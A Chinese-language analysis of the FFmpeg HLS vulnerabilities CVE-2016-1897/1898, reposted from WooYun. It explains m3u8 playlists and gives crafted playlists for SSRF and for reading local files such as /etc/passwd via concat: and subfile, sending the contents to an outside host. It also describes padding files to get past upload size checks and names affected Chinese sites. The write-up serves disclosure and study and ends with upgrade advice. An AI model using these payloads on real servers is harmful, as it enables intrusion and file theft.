CVE-2016-1897/8 - FFMpeg漏洞分析

wyzsk發表於2020-08-19
作者: 資料流 · 2016/05/09 10:03

Author:資料流(LeeFly)@伏宸安全實驗室

0x00 前言


這段時間有不少漏洞突然爆發,就像這幾天的ImageMagick漏洞,橫掃國內網際網路。這一兩天在烏雲@Noxxx首先發了兩個大廠商的FFmpeg的漏洞,然後也被其他白帽子陸續提交漏洞。影響範圍和嚴重性雖然沒有ImageMagick大,但也有不少大廠商中招,而它們共同之處都是處理檔案的通用元件程式。可笑的是這個漏洞在上年五月份左右就被公佈,並在國外一些CTF比賽中應用;直至現今國內的大廠商基本也都存在該漏洞。

FFmpeg是一套可以用來記錄、轉換數字音訊、影片,並能將其轉化為流的開源計算機程式。功能非常強大,是每個影片網站必不可少的多媒體檔案處理程式。

0x01 漏洞概述


在FFMpeg2.X 由於在解析HTTP Live Streaming流媒體m3u8檔案處理不當,可導致SSRF漏洞與任意檔案讀取漏洞。當網站允許使用者上傳多媒體檔案,並使用FFMpeg進行處理時會觸發該漏洞。

這個漏洞有兩個CVE編號,分別是CVE-2016-1897和CVE-2016-1898,它們兩個的區別在於讀取檔案的行數,CVE-2016-1897只能讀取檔案的第一行,而CVE-2016-1898可以讀取檔案任意行,原理基本一樣,這裡就一起分析了。

0x02 HLS(HTTP Live Streaming)


由於漏洞是出現在解析HLS流媒體檔案出的問題,所以我們必須先了解HLS。

HLS(HTTP Live Streaming)是Apple公司開發的一種基於HTTP協議的流媒體通訊協議,大多數都應用在PC上和Iphone上。它的基本原理是把一個影片流分成很多個很小很小很小的ts流檔案,然後透過HTTP下載,每次下載一點點。在一個開始一個新的流媒體會話時,客戶端都會先下載一個m3u8(播放列表 Playlist)檔案,裡面包含了這次HLS會話的所有資料。

如圖所示,有一個主要的m3u8格式Playlist檔案,裡面可以包含下級的m3u8檔案,客戶端會再去索引下級的m3u8,繼續解析下級的Playlist檔案獲取最終的TS流檔案的http請求地址與時間段。

http://pl.youku.com/playlist/m3u8?vid=340270152&type=3gphd&ts=1462714824&keyframe=0&ep=dSaSGE6MUssC5ybeiz8bYiXiIiZdXP0O9h2CgdNnAtQnS%2Bm2&sid=746271452251312590fab&token=3319&ctype=12&ev=1&oip=3395898128

這是youku一個影片的m3u8檔案,內容如下:

#EXTM3U
#EXT-X-TARGETDURATION:6
#EXT-X-VERSION:2
#EXTINF:6,
http://183.60.145.83/69777D60D183E7FE8D0BC25A4/030002010056208D059E4E15049976CD642E01-C8E5-706F-DC6D-375DE0DA5A1E.flv.ts?ts_start=0&ts_end=5.9&ts_seg_no=0&ts_keyframe=1
#EXTINF:0,
http://183.60.145.83/69777D60D183E7FE8D0BC25A4/030002010056208D059E4E15049976CD642E01-C8E5-706F-DC6D-375DE0DA5A1E.flv.ts?ts_start=5.9&ts_end=6.367&ts_seg_no=1&ts_keyframe=1
#EXT-X-ENDLIST

解析:

  • #EXTM3U 標籤是m3u8的檔案頭,開頭必須要這一行
  • #EXT-X-TARGETDURATION 表示整個媒體的長度 這裡是6秒
  • #EXT-X-VERSION:2 該標籤可有可無
  • #EXTINF:6, 表示該一段TS流檔案的長度
  • #EXT-X-ENDLIST 這個相當於檔案結束符

這些是m3u8的最基本的標籤,而問題就出在FFMpeg去請求TS流檔案的時,由於我們可以偽造一個m3u8檔案,FFMpeg不會判斷裡面的流地址,直接請求。

0x03 漏洞原理


SSRF漏洞:

直接用FFMpeg解析一個多媒體檔案

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://192.168.123.100:8080/1.html
#EXT-X-ENDLIST

(#EXT-X-MEDIA-SEQUENCE或#EXT-X-TARGETDURATION必須存在任意一個,前者是定義ts流檔案的序號。去掉會報錯:無效檔案)

ffmpeg -i test.m3u8 test.mp4(也可把m3u8格式改成其他字尾,ffmpeg會自動識別為HLS流檔案)

直接發起了http請求,這就造成一個SSRF。

結合SSRF任意檔案讀取:

FFMpeg支援很多擴充套件協議,其中的concat:協議可以合併多個流URL,官方稱為Physical concatenation protocol

這樣可以合併多個URL concat:URL1|URL2|...|URLN

新建一個主HLS檔案h.m3u8在web伺服器

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://xxx/test.txt|http://xxx/test.txt (這兩個txt都是m3u8,字尾可以隨便改,ffmpeg會自動識別)
#EXT-X-ENDLIST

再建立一個下級的m3u8檔案 test.txt,最終的請求會引到最下級的m3u8檔案,也就是這個test.txt

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://xxx.com/?

再用ffmpeg處理test.m3u8

#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://xxx/h.m3u8
#EXT-X-ENDLIST

提示當讀取第一段的時候出錯,URL是http://xxx/?#EXTM3U,但我們建立的那個下級的m3u8檔案 test.txt是http://xxx.com/?,多出來的“#EXTM3U,”這部分是用concat協議合併的那個txt,http://xxx/test.txt的第一行;而ffmpeg支援多種協議獲取輸入流,http、ftp、smb、file等,既然用concat協議可以讀取檔案的第一行,那把http換成file協議就可以讀取本地檔案了,漏洞就出在這裡。

主m3u8檔案改成concat:http://xxx/test.txt|file:///etc/passwd,再請求就能讀取到passwd檔案的第一行,當然也可以讀取內網網站的資訊。

但這樣就只能讀取一行,意義不大。但FFMpeg支援一個擷取資料流片段的功能:subfile。用法:subfile,,start,153391104,end,268142592,,:/media/dvd/VIDEO_TS/VTS_08_1.VOB

Start後是開始擷取的偏移量,以位元組為單位,end是結束的偏移量。

既然可以擷取資料流就可以利用subfile獲取比較完整的檔案了。測試時候一次最多隻能擷取32位元組,所以要繼續用concat合併多個資料流片段。

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://198.56.193.29:8080/test.txt|subfile,,start,0,end,31,,:file:///etc/passwd|subfile,,start,32,end,63,,:file:///etc/passwd|subfile,,start,64,end,95,,:file:///etc/passwd|subfile,,start,96,end,127,,:file:///etc/passwd|subfile,,start,127,end,158,,:file:///etc/passwd
#EXT-X-ENDLIST

這樣就可以讀取任意檔案的任意內容

0x04 繞過大小檢測


之前的ImageMagick漏洞因為有些網站有檔案大小檢測而無法攻擊,在這個漏洞中的測試我也發現一些網站有對上傳影片檔案的大小限制。這裡有方法可以擴充檔案大小。

直接擴充#EXTINF,這個標籤前面說過,是代表TS流檔案的時間長度,可以無限擴充,直到符合大小為止,仍可正常解析。

0x05 漏洞影響


我測試了國內的很多雲盤與影片網站,[email protected],360原盤等,後來我測試了ku6,愛奇藝,56,搜狐等等都存在該問題,愛奇藝的我已經提交了,另外發現的很多也就沒必要再提交了,刷洞沒意思,提交一個案例警示一下就足夠了。

以下總結一下在烏雲報告過的FFMpeg漏洞:百度雲盤檔案讀取/SSRF360雲盤檔案讀取/SSRF愛奇藝主站某處FFmpeg漏洞可導致任意檔案讀取56影片FFmpeg解析漏洞導致SSRF搜狐影片ffmpeg漏洞可檔案讀取/SSRF盛大某站存在SSRF可讀取本地檔案&探測內網等等

總的來說威脅還是蠻大的,很多大型廠商都中槍。之前上傳圖片會被搞,現在上傳影片也會被搞。這些處理檔案的通用程式真是駭客的樂土啊。

0x06 漏洞修復


目前該漏洞已在FFMpeg2.8.5中修復,請廣大使用者馬上升級。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章